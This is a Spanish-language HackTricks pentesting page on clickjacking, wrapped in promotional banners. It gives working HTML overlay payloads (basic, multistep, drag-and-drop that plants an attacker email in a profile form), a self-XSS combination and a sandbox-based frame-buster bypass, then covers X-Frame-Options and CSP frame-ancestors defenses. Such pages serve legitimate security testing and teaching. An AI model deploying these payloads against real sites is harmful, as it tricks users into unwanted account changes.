hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

¿Qué es Clickjacking?

Clickjacking es un ataque que engaña a un usuario para que haga clic en un elemento de una página web que es invisible o está disfrazado como otro elemento. Esto puede hacer que los usuarios descarguen malware sin saberlo, visiten páginas web maliciosas, proporcionen credenciales o información sensible, transfieran dinero o compren productos en línea. (De aquí).

Truco de formularios prellenados

A veces es posible rellenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para llenar un formulario con datos arbitrarios y enviar la carga útil de clickjacking para que el usuario presione el botón Enviar.

Llenar formulario con Arrastrar y Soltar

Si necesitas que el usuario rellene un formulario pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), puedes simplemente pedirle que Arrastre y Suelte algo que escribirá tus datos controlados como en este ejemplo.

Carga Útil Básica

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload Multistep

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Carga útil de Arrastrar y Soltar + Clic

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si has identificado un ataque XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable al clickjacking, podrías abusar de esto para engañar al usuario y hacer que haga clic en el botón/enlace.
Ejemplo:
Encontraste un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes establecer y leer). La página con el formulario para establecer estos detalles es vulnerable al Clickjacking y puedes prellenar el formulario con los parámetros GET.
__Un atacante podría preparar un ataque de Clickjacking a esa página prellenando el formulario con el payload de XSS y engañando al usuario para que envíe el formulario. Entonces, cuando se envía el formulario y se modifican los valores, el usuario ejecutará el XSS.

Cómo evitar el Clickjacking

Defensas del lado del cliente

Es posible ejecutar scripts del lado del cliente que realicen algunos o todos los siguientes comportamientos para prevenir el Clickjacking:

  • verificar y asegurar que la ventana de la aplicación actual sea la ventana principal o superior,
  • hacer todos los marcos visibles,
  • prevenir clics en marcos invisibles,
  • interceptar y marcar posibles ataques de clickjacking en un usuario.

Evasión

Como los rompedores de marcos son JavaScript, entonces la configuración de seguridad del navegador puede prevenir su operación o incluso el navegador podría no soportar JavaScript. Una solución efectiva del atacante contra los rompedores de marcos es usar el atributo sandbox de iframe de HTML5. Cuando se establece con los valores allow-forms o allow-scripts y se omite el valor allow-top-navigation, entonces el script rompedor de marcos puede ser neutralizado ya que el iframe no puede verificar si es o no la ventana superior:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Los valores allow-forms y allow-scripts permiten las acciones especificadas dentro del iframe, pero la navegación de nivel superior está deshabilitada. Esto inhibe comportamientos de evasión de marcos mientras permite la funcionalidad dentro del sitio objetivo.

Dependiendo del tipo de ataque de Clickjacking realizado también puede ser necesario permitir: allow-same-origin y allow-modals o incluso más. Al preparar el ataque, solo verifica la consola del navegador, puede decirte qué otros comportamientos necesitas permitir.

X-Frame-Options

El encabezado de respuesta HTTP X-Frame-Options se puede usar para indicar si un navegador debe permitirse renderizar una página en un <frame> o <iframe>. Los sitios pueden usar esto para evitar ataques de Clickjacking, asegurándose de que su contenido no esté incrustado en otros sitios. Establece el encabezado X-Frame-Options para todas las respuestas que contengan contenido HTML. Los valores posibles son:

  • X-Frame-Options: deny que impide que cualquier dominio enmarque el contenido (Valor recomendado)
  • X-Frame-Options: sameorigin que solo permite al sitio actual enmarcar el contenido.
  • X-Frame-Options: allow-from https://trusted.com que permite al 'uri' especificado enmarcar esta página.
  • Verifica las limitaciones a continuación porque esto fallará si el navegador no lo soporta.
  • Otros navegadores soportan la nueva directiva CSP frame-ancestors en su lugar. Algunos soportan ambos.

Directiva frame-ancestors de la Política de Seguridad de Contenido (CSP)

La protección recomendada contra clickjacking es incorporar la directiva frame-ancestors en la Política de Seguridad de Contenido de la aplicación.
La directiva frame-ancestors 'none' tiene un comportamiento similar a la directiva X-Frame-Options deny (Nadie puede enmarcar la página).
La directiva frame-ancestors 'self' es ampliamente equivalente a la directiva X-Frame-Options sameorigin (solo el sitio actual puede enmarcarla).
La directiva frame-ancestors trusted.com es ampliamente equivalente a la directiva X-Frame-Options allow-from (solo el sitio de confianza puede enmarcarla).

La siguiente CSP solo permite marcos al mismo dominio:

Content-Security-Policy: frame-ancestors 'self';

Consulta la siguiente documentación para obtener más detalles y ejemplos más complejos:

Limitaciones

  • Soporte del navegador: CSP frame-ancestors no es soportado por todos los principales navegadores todavía.
  • X-Frame-Options tiene prioridad: Sección "Relación con X-Frame-Options" de la Especificación CSP dice: "Si un recurso se entrega con una política que incluye una directiva llamada frame-ancestors y cuya disposición es "enforce", entonces el encabezado X-Frame-Options DEBE ser ignorado", pero Chrome 40 y Firefox 35 ignoran la directiva frame-ancestors y siguen el encabezado X-Frame-Options en su lugar.

Referencias


Usa Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: